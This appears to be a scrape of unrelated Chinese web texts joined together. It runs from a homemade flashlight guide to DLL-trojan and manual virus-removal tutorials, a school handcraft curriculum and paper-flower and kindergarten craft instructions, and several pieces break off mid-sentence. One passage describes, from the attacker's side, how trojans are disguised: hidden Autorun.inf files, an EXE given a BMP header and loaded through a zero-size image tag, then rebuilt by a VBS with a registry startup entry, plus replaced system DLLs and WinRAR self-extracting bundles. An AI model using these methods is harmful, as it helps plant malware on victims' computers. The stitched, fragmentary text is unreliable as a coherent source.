4、自制手电筒具体制作方法是：将一只废易拉罐（如露露饮料罐）起掉一头盖子，另一头用圆头榔头敲凹。用厚瓦楞纸板卷起两节一号电池，电池正极朝上、负极朝下装入罐中。找一个合适的塑料盖（如神奇大大卷的盒盖正好可以扣在露露饮料罐上），在盒盖中央挖一个圆形小洞，洞的大小以使灯泡插紧为宜。将灯泡底座插入小洞。取一段寻线两端剥去线皮，一端绕在灯座上，另一端从塑料盖侧面扎一个小孔穿出。将塑料盖盖在易拉罐上。检查一下，灯泡、电池是不是紧密接触。到这里一次性手电筒就做好了。使用时，用大拇指把从侧壁穿出的导线按在从拉罐无油漆的焊缝上，手电筒就会
系统安全:剿清删不掉的DLL木马 DLL注入木马是目前网络上十分流行的木马形式，它就像是一个寄生虫，木马以DLL文件的形式，寄宿在某个重要的系统进程中，通过宿主来调用DLL文件，实现远程控制的功能。这样的木马嵌入到系统进程中可以穿越防火墙，更让人头疼的是，用杀毒软件进行查杀，杀软即使报警提示发现病毒，但是也无法杀掉木马病毒文件，因为木马DLL文件正被宿主调用而无法删除。下面我们把杀软放到一边，通过专用工具及其手工的方法来清除DLL木马。 一、清除思路 1、通过系统工具及其第三方工具找到木马的宿主进程，然后定位到木马DLL文件。 2、结束被木马注入的进程。 3、删除木马文件。 4、注册表相关项的清除。 二、清除方法 1、普通进程DLL注入木马的清除 有许多DLL木马是注入到“iexplore.exe”和“explorer.exe”这两个进程中的，对于注入这类普通进程的DLL木马是很好清除掉的。 如果DLL文件是注入到“iexplore.exe”进程中，此进程就是IE浏览进程，那么可以关掉所有IE窗口和相关程序，然后直接找到DLL文件进行删除就可以了。如果是注入到“explorer.exe”进程中，那么就略显麻烦一些，因为此进程是用于显示桌面和资源管理器的。当通过任务管理器结束掉“explorer.exe”进程时，桌面无法看到，此时桌面上所有图标消失掉，“我的电脑”、“网上邻居”等所有图标都不见了，也无法打开资源管理器找到木马文件进行删除了。怎么办呢? 这时候可以在任务管理器中点击菜单“文件”→“新任务运行”，打开创建新任务对话框，点击“浏览”挖通过浏览对话框就可以打开DLL文件所在的路径。然后选择“文件类型”为“所有文件”，即可显示并删除DLL了。(图1)
对于给你下木马的人来说，一般不会改变硬盘的盘符图标，但他会修改Autorun.inf文件的属性，将该文件隐藏起来。然后按F5键刷新，这样，当有人双击这个盘符，程序就运行了。 这一招对于经常双击盘符进入“我的电脑”的人最有效。识别这种伪装植入方式的方法是，双击盘符后木马程序会运行，并且我们不能进入盘符。 4把木马文件转换为图片格式 这是一种相对比较新颖的方式，把EXE转化成为BMP图片来欺骗大家。 原理：BMP文件的文件头有54个字节，包括长宽、位数、文件大小、数据区长度。我们只要在EXE的文件头上加上这54字节，IE就会把它当成BMP文件下载下来。改过的图片是花的，会被人看出破绽，用＜imgscr＝″xxx.bmp″higth＝″0″width＝″0″＞，把这样的标签加到网页里，就看不见图片了，也就无法发现“图片”不对劲。IE 把图片下载到临时目录，我们需要一个JavaScript文件在对方的硬盘里写一个VBS文件，并在注册表添加启动项，利用那个VBS找到BMP，调用debug来还原EXE，最后，运行程序完成木马植入。下一次启动时木马就运行了，无声无息非常隐蔽。 5伪装成应用程序扩展组件 此类属于最难识别的特洛伊木马，也是骗术最高的木马。特洛伊木马编写者用自己编制的特洛伊DLL替换已知的系统DLL，并对所有的函数调用进行过滤。对于正常的调用，使用函数转发器直接转发给被替换的系统DLL，对于一些事先约定好的特殊情况，DLL会执行一些相对应的操作。一个比较简单的方法是启动一个进程，虽然所有的操作都在DLL中完成会更加隐蔽，但是这大大增加了程序编写的难度。实际上这样的木马大多数只是使用DLL进行监听，一旦发现控制端的连接请求就激活自身，起一个绑端口的进程进行正常的木马操作。操作结束后关掉进程，继续进入休眠状况。 举个具体的例子，黑客们将写好的文件（例如DLL、OCX等）挂在一个十分出名的软件中，例如QQ中。当受害者打开QQ时，这个有问题的文件即会同时执行。此种方式相比起用合拼程序有一个更大的好处，那就是不用更改被入侵者的登录文件，以后每当其打开QQ时木马程序就会同步运行，相较一般特洛伊木马可说是“踏雪无痕”。目前，有些木马就是采用的这种内核插入式的嵌入方式，利用远程插入线程技术，嵌入DLL 线程。或者挂接PSAPI，实现木马程序的隐藏，甚至在WindowsNT/2000下，都达到了良好的隐藏效果。这样的木马对一般电脑用户来说简直是一个恶梦。防范它的方法就是小心小心再小心！ 6利用WinRar制作成自释放文件 这是最新的伪装方法，把木马服务端程序和WinRar捆绑在一起，将其制作成自释放文件，这样做了以后是非常难以检查的，即使是用最新的杀毒软件也无法发现！识别的方法是：对着经过WinRar捆绑的木马文件点击鼠标右键，查看“属性”，在弹出的“属性”对话框中，会发现多出两个标签“档案文件”和“注释”，点选“注释”标签，你就会发现木马文件了。
《手工》校本课程计划与教案授课教师：杨敏 授课对象：四年级学生 授课时间：每周五校本课程 手工方课程的开设是对课堂教学的补充和延伸，与课堂教学相比更具灵活性、可塑性，因而学生非常乐意参加。地方课程的开设，在于培养学生对美术的兴趣、爱好、增长知识、提高技能、丰富学生的课余文化生活，为今后培养美术人才起着积极推动的作用。现将本学期美术小组的活动安排制定如下： 一、活动目的 本学期开设的手工地方课程活动为一部分有特长爱好的学生提供一个展示个性才艺的机会和空间，使他们的一技之长得到充分的发挥和展示，以点带面，促进全校的美术活动。进一步了解美术的基本知识，提高学生的欣赏水平及创造能力。同时让学生在活动中体验创作的乐趣。 二、活动要求 1、组织学生按时参加活动，并保持室内清洁。 2、每周五下午第二节课开始活动，小组成员必须准时到达美术室。 3、美术小组成员应严格遵守纪律，不准在美术室大声喧哗，不准做与美术学习无关的事。 4、每次老师布置的作业，学生都应按时完成。 5、爱护美术教室内的设施和用品。 三、活动内容
1、以小组合作的形式进行平面剪贴和立体手工制作 2、卡纸和生活中的废旧物品均可作为创作材料 3、给学生自己创作作品的时间和空间。 4、欣赏优秀手工作品，开拓学生眼界。 5、及时用相机拍摄活动内容。（集体或个人） 四、定期举办美术比赛 举办美术展览，交流、回顾、总结学习成果，为同学们提供表现自己实力，增强自信心的舞台能起到意想不到的效果。教师要精心指导，严格把关。学生大胆构思，不拘一格，精心绘制，多出佳作，在校内展出以起到示范作用。 五、备注 附：教学进程和教案 博爱小学地方课程备课（填年度学期） 一、教学进程 有趣的吊饰 教学目标： 1、知识与技能：能表现物象的形态特征；运用剪、对折、粘贴制作吊饰；有目的的排列。 2、过程与方法： （1）在比较中，感受民间饰物造型、色彩、花纹特点； （2）在探索中学习吊饰的设计方法； （3）在“尝试运用”中掌握制作方法。 3、情感、态度、价值观：
一·手工查杀病毒木马 你的电脑安全吗？你的电脑可以防黑吗？ 在平时一不小心中病毒或木马的时候，对于高手来说，都采用手动查杀的方式，因为一方面，对于互联网上新出现的病毒或其变种，大多数的杀毒厂商往往都是被动的，这样就给那些病毒木马提供了时间上的有利条件；另一方面，用杀毒软件查杀的话，是很浪费宝贵的时间的。 现在的杀毒软件那么多啊，为什么我们还要学习用手动来杀毒呢？你想想病毒的产生肯定是比你的杀毒软件的升级快很多的，既然是那个样子的话，我们学习手动杀毒就对我们很有帮助，也可以让我们更加熟悉计算机的进程以及对我们将来学习更多的计算机技术打下很好的基础。 首先，对于自己的计算机要有洞悉力，说得通俗点就是如果发现什么不对的就要考虑下是什么原因了。因为是讲手工杀毒那就先讲中毒的几个特别征兆，例如：你的电脑在上网的时候自己会打开不知名的网站（恶意代码也是会这样的啊，我们也把它暂时当病毒吧）；你的电脑的速度变得很慢很慢，特别是开机的时候要很久；你的电脑文件有的开不了；有时候点一个陌生的文件突然一闪而过；有时候总跳出非法操作……可以说你觉得很可疑的时候，都可能是中了病毒。那么我们就要找到病毒。 这时我们的第一步就是打开任务管理器，仔细查看有没有哪些异常或自己尚不清楚的进程，发现后，先不要急着结束它，先用纸和笔记录下来，这时我们可以在网上查下该进程的相关资料(比如*.exe)，这时如果上网不方便的话，可以在资源管理器中按F3打开“搜索”，首先确保将系统中的所有文件全部显示出来，包括重要的系统文件，并在“所有文件和文件夹”搜索，看看它到底藏在了哪里，也许有时候你会发现，这个你不熟悉的进程名正是系统中正常的一个程序的进程。 如果从网上找到的资料里，发现这个确是病毒或木马的话，则毫无疑问的进行下一步骤。如果是在“搜索”中找到的，则右击查看它的属性，看看它是具体什么时间被建立的，如果与实际不符而相违背的，或明显带有迷惑用户性质的话，则可以肯定它们对我们是不利的。我们只有将它们赶尽杀绝了!!! 下一步，我们就要毫不留情的在任务管理器中先结束其进程了。右击它选择“结束进程”，“确定”即可。如果中的病毒或木马很强的话，我们就要采取强制的方式结束它了。具体方法：首先“开始——运行”，输入CMD，打开命令提示符。输入“T asklist”后就会看到我们各个程序的进程列表了，其中有一列叫PID(进程标识符)的，这对我们强制关闭某个进程时有用到。它的命令是这样的：“ntsd -c q -p PID号”(假如你看到我们刚才记下的可疑进程名，及其后面的PID号是1060(假如)，则可以，在提示符下输入“ntsd -c q -p 1060”就可以了)。 一般来说，我们查找病毒和木马的基本方法有： ①、进程法：有的病毒在热启动（CTRL+ALT+DEL)就可以看出来，它们总是想隐藏自己成为系统里面的特殊文件，仔细看就可以看出猫腻了。什么把l(字母）写成1（数字）啦，把O（字母）变成了0的啊，更好笑的是连大小写都出来了，其实只要认真看问题就简单。如果你对进程不是很了解的话，建议把它名字记下来去百度找找，应该可以找到答案。特别要注意的是你在用热启动的时候，最好不要开任何文件和软件，这样比较好辨认。 ②、启动法：现在的病毒和木马都会自己随系统而启动，那么我们就可以根据这个把它找到。开始——运行——输入msconfig在启动选项就可以看到启动的项目和命令还有位置，把你觉得十分可疑的前面的沟去掉就可以了。记下那些可疑的启动项命令的地址，将
主要材料：皱纹纸、花柄 所需工具：剪刀、白胶 制作步骤：第1步：把粉色的皱纹纸剪成一个长条 把粉色的皱纹纸剪成一个长条 第2步：然后向教程中这样，从一端开始，在一边开始折叠一个小角，然后顺着进行折叠 然后向教程中这样，从一端开始，在一边开始折叠一个小角，然后顺着进行折叠、 第3步：折叠好一个长条之后，就有了这样一个一边上有很漂亮的图样的皱纹纸啦，接着要做的就是把这一条皱纹纸卷成玫瑰花的样子就可以了，用花柄在下面将玫瑰花固定 折叠好一个长条之后，就有了这样一个一边上有很漂亮的图样的皱纹纸啦，接着要做的就是把这一条皱纹纸卷成玫瑰花的样子就可以了，用花柄在下面将玫瑰花固定 第4步：用绿色的皱纹纸将花柄包成绿色，并且用绿色纸张剪成的叶子来装饰就可以啦 用绿色的皱纹纸将花柄包成绿色，并且用绿色纸张剪成的叶子来装饰就可以啦 第5步：这样的玫瑰花是不是很简单就制作完成啦。 这样的玫瑰花是不是很简单就制作完成啦。 主要材料：彩纸、绿色纸带 所需工具：剪刀、白胶 制作步骤：第1步：为了拍出美美的照片，自己制作纸玫瑰也是可以的，特别是制作起来也不难，用彩纸先要剪出大大的花瓣和叶子来 为了拍出美美的照片，自己制作纸玫瑰也是可以的，特别是制作起来也不难，用彩纸先要剪出大大的花瓣和叶子来、 第2步：用笔辅助将小的花瓣边缘卷出弧度
用笔辅助将小的花瓣边缘卷出弧度 第3步：大的花瓣就要从两边分别用笔卷一下 大的花瓣就要从两边分别用笔卷一下 第4步：把花杆用绿色纸带包好 把花杆用绿色纸带包好 第5步：然后就可以在花杆的一端开始加上花瓣了 然后就可以在花杆的一端开始加上花瓣了 第6步：一边加花瓣，可以先用绿色纸带固定一下一边加花瓣，可以先用绿色纸带固定一下 第7步：接着，在外面开始加大的玫瑰花瓣 接着，在外面开始加大的玫瑰花瓣 第8步：将花瓣都加好之后，用绿色纸带缠好 将花瓣都加好之后，用绿色纸带缠好 第9步：在下面加上绿色彩纸剪好的花萼 在下面加上绿色彩纸剪好的花萼 第10步：把花萼下面用纸带固定好
【手工】最全的幼儿园创意手工制作大全，（幼师必备） 折纸蝴蝶准备材料：彩色纸一张、细皮筋一根。 制作步骤：一张长方形折纸分开。方形纸对折. 两边再对折。上部分长度大一些，两边外翻。注意对称！下部分在外翻，两边对称，长度短。上下对折。再对折。如图。折到最细。最后再展开！然后里一层折一下，外一层折一下……来回折。如图所示！ 准备一个细皮筋！绑在中央。一个长条做蝴蝶须，折成细条，两边卷一下。做成这样把须塞在皮筋里，再调整下外形。即可！毛根蝴蝶蝴蝶，魅力的化身。每一个可爱的宝宝都喜欢美丽的花蝴蝶，今天就一起来学一下蝴蝶的制作吧。准备材料：五颜六色纸，捆扎绳 制作步骤：取一张正方形的纸，然后进行对折，如图示再把对折出来的三角形平均分成五部分继续对着，折出波浪形的形状，如图示另一面的三角形重复上个步骤再取一个正方纸片，按照上述步骤再次制作一个波浪的形状把两张成形的纸片叠压在一起用软铁丝的捆扎绳把他们捆扎在一起，看，蝴蝶的身子出来啦最后，把捆扎在一起的小波浪整理开，摆出蝴蝶翅膀的形状，看一只萌萌的小蝴蝶诞生啦~五彩花丛材料准备：废旧纸箱、纸盒或纸板、各种花样的绿色纸条、吸管、绒铁丝等（如下图所示），颜料、画棒、胶水。具体步
骤：1.将纸盒或纸箱剪开，然后如下图折成锯齿状。2.将多种材质的长条贴在纸板上。3.在纸上画出各种图案或印章，剪下来粘在贴好的草丛上，尽量发挥幼儿的想象力哦。4.把做好的“花丛”立起来，一个美丽的立体“花丛”就做好了。怎么样，这些五彩缤纷的颜色是不是很有春天的气息？快和幼儿一起动手装扮咱们的幼儿园吧！波利串串葡以下手工材料均使用的是卡纸、安全剪刀、胶水、水彩笔。来自西域的波利波利葡萄，传说吃一颗，孩子可以变得更加聪明，妈妈可以更加美丽哦~ 先在纸上画出一串葡萄的形状，再让孩子在叶柄处涂上绿色的颜料~ 折叠A4纸，折成两指宽的长条，一条一条剪出来，然后卷起来~卷好之后，就可以粘贴在画好的葡萄串上啦，小朋友，你喜欢吃青葡萄还是紫葡萄呢~折纸螃蟹准备材料：彩纸/ 胶水，记号笔/ 剪刀制作步骤：将彩纸对折.再对折，将一面的两个角向上翻折在另一面上如下图向上翻折将折纸 如下图左端向外翻折，底部向内翻折将顶端的三角向下折剪下小圆圈作螃蟹眼睛将眼睛对称粘上去用记号笔画上眼睛 吶~第一款折纸大闸蟹完工啦！小猪扇子材料：雪糕棒、彩色纸、胶水、双面胶、剪刀制作步骤 第1步：三张正方形的纸如图折好。第2步：用双面胶组合三个组件。第3步：小猪耳朵：剪两个三角形;把左图剪一